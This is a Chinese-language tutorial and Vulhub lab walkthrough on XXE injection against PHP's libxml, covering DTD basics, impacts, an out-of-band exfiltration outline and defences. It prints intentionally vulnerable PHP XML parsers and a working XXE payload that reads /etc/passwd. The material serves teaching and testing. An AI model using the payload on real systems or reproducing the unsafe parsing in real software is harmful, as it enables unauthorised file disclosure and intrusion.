0x00 預備知識
XXE是什麼?
XXE(XML External Entity Injection)也就是XML外部實體注入,XXE漏洞發生在應用程式解析XML輸入時,XML檔案的解析依賴libxml 庫,而 libxml2.9 以前的版本預設支援并開啟了對外部實體的引用,服務端解析使用者送出的XML檔案時,未對XML檔案引用的外部實體(含外部一般實體和外部參數實體)做合适的處理,并且實體的URL支援 file:// 和 ftp:// 等協定,導緻可加載惡意外部檔案和代碼,造成 任意檔案讀取、指令執行、内網端口掃描、攻擊内網網站、發起Dos攻擊等危害。
典型攻擊如下:
<?xml version="1.0" encoding="utf-8"?> # XML聲明,表明了版本以及編碼方式
<!DOCTYPE xxe[ # 内部DTD
<!ELEMENT test ANY > # 聲明了一個限制元素,任何内容都可以
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> # 一個内部實體,名字是xxe
<test>
<name>&xxe;</name> # XML部分,對實體的引用
</test>
定義實體必須寫在DTD部分
為什麼使用DTD?
- 通過DTD,每一個XML檔案均可攜帶一個有關自身格式的說明
- 每個獨立的團體可一緻地使用某個标準的 DTD 來交換資料
- 應用程式也可使用某個标準的 DTD 來驗證從外部接收到的資料。
- 可以使用 DTD 來驗證自身的資料
- DTD(文檔類型定義 Document Type Defination)的目的是定義 XML 文檔的結構,它使用多個合法元素來定義文檔結構
- XML 和 DTD 的關系就像是對象和類的關系,DTD 規定了 XML 的類型
什麼是XML?
- XML 是可擴充标記語言(EXtensible Markup Language);
- XML 和 HTML 格式差不多,但 XML 一般用于傳輸和存儲資料,HTML 一般用于顯示資料;
- XML 标簽沒有被于定義,需要自行定義标簽;
- XML 被設計為具有自我描述性;
- XML 是 W3C 的推薦标準
XXE原理
有了 XML 實體,關鍵字 ‘SYSTEM’ 會令 XML 解析器從URI中讀取内容,并允許它在 XML 文檔中被替換。是以,攻擊者可以通過實體将他自定義的值發送給應用程式,然後讓應用程式去呈現。 簡單來說,攻擊者強制XML解析器去通路攻擊者指定的資源内容(可能是系統上本地檔案亦或是遠端系統上的檔案)
XXE 的危害有:
- 讀取任意檔案;
- 指令執行(php環境下,xml指令執行要求php裝有expect擴充。而該擴充預設沒有安裝);
- 内網探測/SSRF(可以利用http://協定,發起http請求。可以利用該請求去探查内網,進行SSRF攻擊。)
利用 XXE 對站點進行滲透一般有以下幾個步驟:
- 首先讀取核心内容(如配置檔案等,如果讀取的檔案資料有空格的話,是讀不出來的,但可以用base64編碼);
- 其次用 xml 将其和某個網址頁面進行拼接(拼接的主要原因是 xml 值存儲資料不一定會輸出是以需要将資料外帶);
- 拼接完成後通路頁面就可以啟動後端代碼,然後後端代碼将資料存儲在指定檔案内;
- 最後直接通路該檔案擷取傳送出的資料。
外部引用可支援http,file等協定,不用的語言支援的協定不同,但存在一些通用的協定,具體内容如下所示:
XXE漏洞挖掘
通過手工篡改網站中xml實體中的頭部,加入相關的讀取檔案或者是連結,或者是指令執行等,如 file:///$path/file.txt;http://url/file.txt;看看能否顯示出來
防禦XXE
-
使用開發語言提供的禁用外部實體的方法
PHP:
其他語言:https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.htmllibxml_disable_entity_loader(true);
-
過濾使用者送出的XML資料
關鍵詞:
和SYSTEM
PUBLIC
0x01 複現環境
漏洞環境:https://vulhub.org/#/environments/php/php_xxe/
- PHP 7.0.30
- libxml 2.8.0
libxml2.9.0以後,預設不解析外部實體,導緻XXE漏洞逐漸消亡。為了示範PHP環境下的XXE漏洞,本例會将libxml2.8.0版本編譯進PHP中。PHP版本并不影響XXE利用。
0x02 漏洞複現
通路首頁,發現libxml版本低于2.9.0:
目錄下有dom.php、index.php、SimpleXMLElement.php、simplexml_load_string.php其中dom.php、SimpleXMLElement.php、simplexml_load_string.php均可觸發XXE漏洞。
dom.php:DOMDocument :: loadXML() // 從字元串加載xml文檔
<?php
$data = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);
print_r($dom);
SimpleXMLElement.php:SimpleXMLElement類辨別xml文檔中的元素
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);
simplexml_load_string.php:simplexml_load_string() // 接受格式正确的XML字元串,并将其作為對象傳回。
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
burp抓包進行就修改,加入如下代碼:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<test>
<name>&xxe;</name>
</test>
成功讀取檔案:
參考連結:
https://www.136.la/jingpin/show-15455.html(XXE漏洞詳解)
https://blog.csdn.net/xmd213131/article/details/105384795(Vulhub-php_xxe)
https://blog.csdn.net/sinat_32366329/article/details/80188837(XML之自定義DTD限制)
https://cloud.tencent.com/developer/article/1171346(XXE漏洞利用技巧)